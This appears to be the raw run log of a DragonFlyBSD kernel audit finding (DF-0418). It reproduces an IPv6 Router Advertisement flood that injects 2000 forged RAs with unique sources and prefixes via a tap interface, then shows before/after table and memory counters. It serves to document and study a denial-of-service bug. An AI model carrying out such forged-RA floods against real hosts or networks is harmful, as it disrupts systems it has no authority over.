DragonFlyBSD Kernel Audit
DF-0418 / run.log
← back to finding ↓ download raw
=== DF-0418 RA-flood reproduction ===
precondition: net.inet6.ip6.accept_rtadv=1 + ND6_IFF_ACCEPT_RTADV on tap0 (SLAAC host)
1
       6
833542
--- flood 2000 RAs (unique src + prefix each) ---
[*] nd flags before: 0x7
[*] nd flags after:  0x3 (ACCEPT_RTADV SET)
[+] tap fd=3 on tap0 (writes = ingress RX)
[+] injecting 2000 forged RAs (unique src + prefix each)...
    sent 50
    sent 100
    sent 150
    sent 200
    sent 250
    sent 300
    sent 350
    sent 400
    sent 450
    sent 500
    sent 550
    sent 600
    sent 650
    sent 700
    sent 750
    sent 800
    sent 850
    sent 900
    sent 950
    sent 1000
    sent 1050
    sent 1100
    sent 1150
    sent 1200
    sent 1250
    sent 1300
    sent 1350
    sent 1400
    sent 1450
    sent 1500
    sent 1550
    sent 1600
    sent 1650
    sent 1700
    sent 1750
    sent 1800
    sent 1850
    sent 1900
    sent 1950
    sent 2000
[+] done; sent 2000 RAs. Check `ndp -an` / `netstat -rn -f inet6` / vm stats.
--- after ---
    4006
832973
             ip6ndp   5.87K    485K       0    390M    23.5K